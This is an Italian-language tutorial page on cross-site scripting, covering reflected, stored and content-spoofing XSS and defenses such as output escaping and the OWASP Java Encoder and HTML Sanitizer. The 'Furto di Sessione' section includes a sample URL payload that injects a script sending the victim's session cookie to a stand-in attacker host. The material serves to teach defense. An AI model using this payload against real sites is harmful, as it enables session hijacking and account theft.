twitterlinkedinmail

XSS – Che cosa sono

XSS è una forma di attacco eseguita iniettando dati non attendibili, nel browser web della vittima.

Gli attacchi XSS vengono perpetrati inserendo frammenti o script JavaScript dannosi in un sito Web host, che vengono successivamente eseguiti nei browser Web delle vittime, all’atto della visualizzazione del sito host.

XSS rappresenta una delle vulnerabilità più diffuse sul Web (si stima che fino al 90% dei siti sia suscettibile di attacchi XSS).

Scarica le slides

03a_proteggersi-dagli-xss
Scarica le slides

    Sottoscrivi la Newsletter
    per effettuare il download:

    Perchè gli attaccanti usano i XSS

    Le vulnerabilità XSS possono essere sfruttate per:

    • acquisire cookie di sessione;

    • modificare i contenuti della pagina;

    • modificare la url di destinazione di invio dei moduli;

    • leggere la cronologia del browser.

    Javascript come vettore d’attacco

    La rinnovata diffusione di JavaScript, dovuta al Web2.0, ha reso possbile molti tipi di attacco.

    Molti exploit sono stati infatti realizzati utilizzando JavaScript ad es. per effettuare la compromissione di reti private, oppure per identificare l’hardware vulnerabile ad updates malevoli del firmware.

    Gli attacchi XSS sfruttano il browser di un utente inconsapevole.

    Dato che XSS viene eseguito all’interno del browser web della vittima, il codice dell’aggressore viene eseguito inoltre con lo stesso livello di privilegio dell’utente.

    Se a questo aggiungiamo che molte sessioni web non vengono esplicitamente chiuse dall’utente, è facile comprendere le potenzialità di attacco offerte da XSS.

    Perchè è difficile prevenire i XSS

    Ridurre i rischi XSS nelle attuali architetture Web complesse è spesso difficile.

      Continua la lettura

      Sottoscrivi la Newsletter per accedere
      in anteprima ai contenuti:


      Content Spoofing

      Lo spoofing dei contenuti è una forma di XSS.

      Lo spoofing del contenuto si verifica quando un utente può modificare una parte dell’URL del sito web in modo da alterare il contenuto della pagina.

      Qualsiasi contenuto indesiderato visualizzato nel browser, e che influisce sulla struttura o sul contenuto di una pagina Web, può essere dannoso per la sicurezza del sito Web e dei suoi utenti.

      Content Spoofing – esempio

      Ad esempio, considera una pagina di ricerca che accetta un parametro “search”:

        Continua la lettura

        Sottoscrivi la Newsletter per accedere
        in anteprima ai contenuti:


        XSS con HTML e CSS

        La tecnica può essere utilizzata per eseguire il rendering di un falso modulo di accesso, inviando informazioni sensibili a un server sotto il controllo dell’aggressore.

        Le vittime crederanno di visualizzare contenuti del sito legittimo perché la pagina ha un aspetto simile a quello del sito originale e la barra degli indirizzi del browser mostra l’URL del sito legittimo.

        XSS rappresenta inoltre un buon esempio a dimostrazione che la convalida dell’input basata sulle black-list dei comandi dannosi non è una difesa efficace.

        Reflected XSS

        Il reflected XSS si verifica quando un utente malintenzionato manomette le richieste HTTP per inviare codice JavaScript dannoso.

          Continua la lettura

          Sottoscrivi la Newsletter per accedere
          in anteprima ai contenuti:


          Reflected XSS – sequenza di attacco

          • L’aggressore crea un link che include codice JavaScript dannoso, e lo invia alla vittima ad es. via email;

          • La vittima fa clic sul collegamento dannoso inviato dall’aggressore;

          • Il server elabora il link e restituisce una pagina visualizzata con il codice fornito dall’autore dell’attacco;

          • Il codice fornito dall’attaccante viene eseguito sul browser dell’utente.

          XSS in un form di login

          Analizziamo adesso un XSS mediante form di aggiornamento della password.

            Continua la lettura

            Sottoscrivi la Newsletter per accedere
            in anteprima ai contenuti:


            Furto di Sessione con un form

            Un utente malintenzionato può sfruttare questa vulnerabilità costruendo un URL che includa uno script dannoso nel parametro “user”:

             https://www.miabanca.com/cambio-password?user=">
             <script>document.write('<img+src%3d"http%3a//sito.attaccante.hack/session
             %3d'+%2b+document.cookie+%2b+'">')%3b</script><a+href%3d"

            Ciò causerà la scrittura di un tag script nella pagina HTML.

              Continua la lettura

              Sottoscrivi la Newsletter per accedere
              in anteprima ai contenuti:


              Ajax alla riscossa!

              Con l’aggiunta di richieste HTTP asincrone in JavaScript, è possibile realizzare molti tipi diversi di attacchi.

              Sfruttando uno script, ad esempio, sarà possibile inviare credenziali di accesso complete all’attaccante, mediante la complicita involontaria dell’utente che invia il modulo.

              L’aggressore dispone così delle credenziali complete dell’utente, che può utilizzare al posto dell’utente realizzando furti di identità.

              L’aggressore ha inoltre la vecchia password dell’utente, che può essere testata su altri siti, laddove l’utente abbia riutilizzato la stessa password su più siti.

              Attacchi Stored XSS

              Lo stored XSS si realizza quando un utente malintenzionato invia il contenuto dannoso al sito Web, e questo contenuto viene archiviato in un database, per essere successivamente visualizzato sulle pagine Web (ad esempio sui commenti del blog, sul forum Web, nell’interfaccia di amministratore, ecc.).

                Continua la lettura

                Sottoscrivi la Newsletter per accedere
                in anteprima ai contenuti:


                Reflected vs Stored XSS

                Lo stored XSS è generalmente molto più pericoloso del reflected XSS.

                Lo stored XSS non richiede alla vittima di intraprendere alcuna azione diversa dal normale utilizzo del tuo sito web.

                Un utente potrebbe semplicemente navigare nel sito Web e incappare nello script memorizzato, che esegue il payload dannoso.

                  Continua la lettura

                  Sottoscrivi la Newsletter per accedere
                  in anteprima ai contenuti:


                  Difendersi dagli attacchi XSS

                  Realizzare un’applicazione Web resistente al XSS può essere complicato, anche a causa delle componenti legacy (oppure per carenza del relativo codice sorgente).

                  Inoltre i framework JavaScript spesso nascondo delle vulnerabilità XSS profonde e difficili da correggere.

                  E anche quando correggere un XSS localmente potrebbe essere un compito facile, correggerlo su larga scala potrebbe essere estremamente difficile da gestire senza una pianificazione molto attenta.

                  Scegliere la migliore strategia di difesa

                  Vari fattori devono essere considerati quando si decide quale difesa applicare contro XSS.

                    Continua la lettura

                    Sottoscrivi la Newsletter per accedere
                    in anteprima ai contenuti:


                    Perchè la Input Validation non basta

                    Una buona convalida dell’input dovrebbe essere la prima linea di difesa per ogni applicazione web.

                    Tuttavia, la convalida dell’input non è sufficiente per arrestare tutti gli XSS senza utilizzare anche la codifica dell’output specifica del contesto.

                      Continua la lettura

                      Sottoscrivi la Newsletter per accedere
                      in anteprima ai contenuti:


                      Output Escaping

                      Solitamente un’interfaccia utente contiene una combinazione di frammenti HTML che può contenere dati non attendibili.

                      Questo è il cuore degli attacchi XSS ed è anche dove risiedere la principale difesa.

                        Continua la lettura

                        Sottoscrivi la Newsletter per accedere
                        in anteprima ai contenuti:


                        Adeguarsi al contesto

                        Abbiamo bisogno di utilizzare una diversa funzione di escape dell’output in base a dove si stanno inserendo i dati non attendibili nella pagina web.

                        Di seguito sono riportati alcuni esempi di contesti diversi in una pagina HTML:

                          Continua la lettura

                          Sottoscrivi la Newsletter per accedere
                          in anteprima ai contenuti:


                          OWASP Java Encoder Project

                          OWASP Java Encoder Project4 è un encoder web centric ad alte prestazioni per la difesa XSS.

                          L’obiettivo principale del Java Encoder Project è codificare tutto correttamente ed evitare XSS.

                            Continua la lettura

                            Sottoscrivi la Newsletter per accedere
                            in anteprima ai contenuti:


                            OWASP HTML Sanitizer

                            OWASP Java HTML Sanitizer Project è un HTML Sanitizer veloce e facile da configurare che consente di includere HTML creato da terze parti nelle applicazioni web, proteggendo allo stesso tempo da XSS.

                            Questo codice è stato scritto tenendo presenti le migliori pratiche di sicurezza, e dispone di un’ampia suite di test.

                            Per utilizzare OWASP HTML Sanitizer, creare prima un’istanza per una policy, quindi utilizzare tale policy per sanitificare l’HTML di input.

                            È anche possibile configurare le proprie policy per consentire solo un sottoinsieme molto restrittivo di tag e attributi HTML.